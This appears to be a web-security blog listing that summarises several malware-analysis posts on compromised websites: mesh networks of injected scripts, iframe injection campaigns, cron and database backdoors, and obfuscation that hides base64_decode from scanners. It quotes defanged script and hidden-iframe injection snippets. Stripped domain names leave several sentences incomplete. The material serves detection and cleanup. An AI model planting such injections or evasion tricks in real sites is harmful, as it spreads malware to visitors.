Many Pieces of a Puzzle: Target, Neiman Marcus and Website Hacking

Corporations get hacked all the time. This is not news to anyone in the security business, but it has certainly received a lot of attention from those in the media over the last few weeks because of a couple of large-scale credit card events at both Target and Neiman Marcus.

Website Malware

Read More

Website Mesh Networks Distributing Malware

Can you imagine having the keys to a kingdom? How awesome would that be!! This is true in all domains, especialy when it comes to your website. This is almost like the holy grail of website attacks, gain access and do what you want with someone else’s pride and joy.

We all know that once a website is compromised it can be used by attackers in various ways. The most common attack we see leverages the hacked site as part of a malicious SEO Spam campaign (most profitable), followed by malware distribution (think drive by downloads) and ofcourse the integration into botnets, to perform things like DDOS / brute force attacks on other sites.

In any of these scenarios the attacker is able to, more often than not, monetize “their” new website. Yes, the fact that they have gained access to your website makes it theirs now. On a side note, we are seeing a tremendous number of websites being used to mine bitcoins specifically, but being it’s the new Billion dollar currency it only makes sense, but I digress.

Back to the point…

None of this, ofcourse, is new to our industry. Just crawl through the archives of this blog and you’ll find scores of data points that talk to the various scenarios addressed above. What you won’t find though is this new trend that we’re seeing.

Since the shutdown of the Blackhole Exploit kit we’ve been sitting back idly waiting for the next big thing, and perhaps this is it, but then again, perhaps it’s nothing more something that hid in the shadow and is only now finally out in plain sight.

Let’s talk a little about website mesh networks and how they are being used to distribute malware.

What is a Mesh Network?

We won’t get into the details of what a Mesh Network is but we’ll provide you a little context so that you can better understand it as you read through this post:

A mesh network is a network topology in which each node (called a mesh node) relays data for the network. All nodes cooperate in the distribution of data in the network. – Wikipedia

Yes, I know, not the fanciest of descriptions but for our purpose it works. When reading through this, I want you think of each website as a node in the mesh.

Sucuri Mesh Network Illustration

In essence, each of the websites, although hosted separately, owned by people that don’t know each other, are all, inevitably interconnected to one another. Again, nothing new in the concept, we see it everyday in various botnets, right?

Mesh Network of Compromised Webites

The latest exploit kit payloads we are tracking on compromised websites seem to have a very similar characteristic, they are part of a bigger network of compromised website, or what we’re classifying as a compromised Website Mesh Network. As websites get infected, the attackers are continuously adding them to their larger network of malware intermediaries. This means it is not only being used against people visiting the website, but also against users of other compromised sites.

Think of a mesh network of script injections…

How a Mesh Network of JavaScript Injections Works

Let’s say the bad guy, Home Simpson managed to hack into 3 web sites:, and Homer injects malware into that then loads from The malware from is loaded from and the one from is loaded from

That’s right folks, you guessed it, it’s one Giant Self-Licking Ice Cream Cone!!!

Here is a better illustration of the flow: -> injected with code loading from -> injected with code loading from -> injected with code loading from

The Benefit of such a Network

The attacker no longer needs to register domains to hide malicious content and it is very hard to take down. The more sites he manages to compromise, the more powerful their mesh network of compromised websites becomes.

Mesh Network of the Javascript Injection RANDOM.php?id=RANDOM

To put this into perspective, just on the JavaScript injection they can look something like this:

<script src="httx://tiande-rivne-com-ua.1gb. ua/hNtpSAXt.php ?id=56162149&quit;

With this simple payload we were able to identify some 800 websites and more than 19,000 pages compromised. And the injection always happen with the same format, a script src loading from a random PHP file and a random ID code. Every compromised site gets this PHP code injected in it.

These are just some of the injections we were able to capture:

What is the Scale of these Website Mesh Networks?

While it is really hard to provide definitives around how many websites are really compromised and injected with this type of infection we are able to provide some good educated guesses.

Using our very limited view, we identified 800+ domains within our own network of clients. Google agrees with us and it seems they identified a lot more sites, who would have thought, based on the safe browsing data.

If you look at, they say:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 101 domain(s), including,,

If you check, you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 60 domain(s), including,,

So it seems that each site compromised is also used to infected 50+ different domains. And the more you dive into the data, the more sites you find.

For instance, look at this one you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 662 domain(s), including,,

You can see that with a little sleuthing the order of magnitude begins to quickly multiply.

How are the sites being compromised

Ah yes, the age old question of how!!!

It’s not any easier to answer here as it’s ever been in any other post we share. As is often the case we see ascertain our data remotely and as such we are limited in a number ways, this case was no exception. We will however provide a post later better dissecting the payload, or at least we hope we will.

As for the how, we did try to scan several of the compromised website in attempt to identify the vector, but we had little luck. While we were unable to find a much coveted silver bullet that tied them together, there was more in what we didn’t find than one might think.

For instance, a few of them were using Drupal, others were using WordPress and ofcourse our Joomla friends were in on the action too. While this does not tell us the access vector, it does tell us it’s platform agnostic.

From this we can make a very educated assumption that the attackers are more than likely using a suite of tools to exploit these websites. From Brute Force attacks against the various platform admin panels to gain access control, to exploiting known or new vulnerabilities in any of the various applications. What is curious though is whether it’s all in one tool or kit and whether the payloads are being created independent of the platforms. Often, what we see is a payload specific to a platform which is later adapted or enhanced for other platforms. To find something like these attacks so tightly integrated and intertwined talks to an interesting trend.

Are you a webmaster? Do you own a web site? Please do your part securing your site so it is not added to these compromised Website Mesh Networks. There are various tools you can use to scan your websites and clean them up if they are infected, leverage them. Don’t get caught with your pants down!

Recent OptimizePress Vulnerability Being Mass Infected

A few weeks ago we wrote about a file upload vulnerability in the OptmizePress theme. We were seeing a few sites being compromised by it, but nothing major.

That all changed yesterday when we detected roughly 2,000 websites compromised with iFrames that seemed to be caused by this same vulnerability. All of the contaminated websites that we have reviewed and cleared were using OptmizePress, and they all had the same iFrame injected in them:

<script> if(document.all ){ document.write ("<iframe 
 src=" httx:// ohui.cgi?19" width="1" 

Read More

The Hidden Backdoors to the City of Cron

An attackers key to creating a profitable malware campaign is its persistency. Malicious code that is easily detected and removed will not generate enough value for their creators. This is the reason why we are seeing more and more malware using creative backdoor techniques, different obfuscation methods, and using unique approaches to increase the lifespan of any given attack.

Cron Malware Backdoor

Today we found this malware: A simple, but heavily encoded SPAM injector that was prepended to a valid Joomla File. Yes, nothing new, we have thousands of blog posts that show this kind of malware:

Read More

How We Decoded Some Nasty Multi-Level Encoded Malware

From time to time, we come up with interesting bits of malware that are just calling us to decode and learn more about them. This is one of those cases.

Recently, I crossed pathes with this little gem:


That snippet is encoded malicious content. The full payload is is much bigger, 12816 characters, to be exact. Seems benign, right? At least it looks interesting. So interesting that I decided to dissect it, piece by piece.

Read More

Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to Two of the links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to shortener. - - -

A quick search for this last URL took us to /wp-content/themes/Site’sTheme/css/iefix.sct. As malware writers like to do, it was trying to trick us into believing it was good code. In this case, the Sizzle CSS Selector Engine code (Real code here) was the target:

Sucuri  Sizzle CSS Selector Engine Modified III

Read More

Blackhat SEO and ASP Sites

It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a bit too biased.

Here is a quick post on ASP variant. Thought we’d give you Microsoft types some love too.

Today we found this nice BlackHat SEO attack:

Sucuri SiteCheck ASP Malware

Read More

Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:


Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

Read More

Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

Read More

WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

... very long ..

Read More